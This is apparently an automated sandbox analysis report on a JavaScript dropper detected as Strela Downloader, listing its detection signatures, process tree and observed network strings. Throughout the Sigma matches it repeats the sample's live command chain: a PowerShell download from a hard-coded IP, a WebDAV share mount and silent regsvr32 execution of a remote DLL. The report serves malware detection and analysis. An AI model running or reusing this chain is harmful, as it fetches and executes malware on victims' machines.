Edit tour

Windows Analysis Report
1573099322476027960.js

Overview

General Information

Sample name:	1573099322476027960.js
Analysis ID:	1588327
MD5:	b4e66e59c1bca737ef753fb60c0a0897
SHA1:	99472ef70e2dd79299819345ff49bbcf331b771b
SHA256:	bad7fe8b71e447aea8c36c6fdc379dfce6ee7e1d531264682fec7e214a0bcf01
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7004 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7128 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6236 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4940 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3428 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7320 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1624,i,11398897442534394680,7804763110970859157,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4624 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6160 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3452 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7004	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7128, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6236, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7128, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6236, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", ProcessId: 7004, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, ProcessId: 7128, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, ProcessId: 7128, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, ProcessId: 7128, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, ProcessId: 7128, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, ProcessId: 7128, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", ProcessId: 7004, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7128, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6236, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4624, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6160, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3452, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4624, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6160, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll, ProcessId: 7128, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1573099322476027960.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1573099322476027960.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1691369052.000001AB20B70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1752260705.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1750312048.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1752203244.000001FA8E688000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1748366514.000001FA8E6DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1752203244.000001FA8E688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/7
Source: net.exe, 00000006.00000002.1752260705.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1750312048.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/?Z%
Source: net.exe, 00000006.00000002.1752203244.000001FA8E688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/NumHq
Source: net.exe, 00000006.00000002.1752260705.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1750312048.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/kZY
Source: svchost.exe, 00000008.00000002.2971187739.000001A81A200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1750047815.000001A81A088000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1750047815.000001A81A088000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1750047815.000001A81A088000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1750047815.000001A81A0BD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1750047815.000001A81A132000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1750047815.000001A81A132000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1750047815.000001A81A132000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7004, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
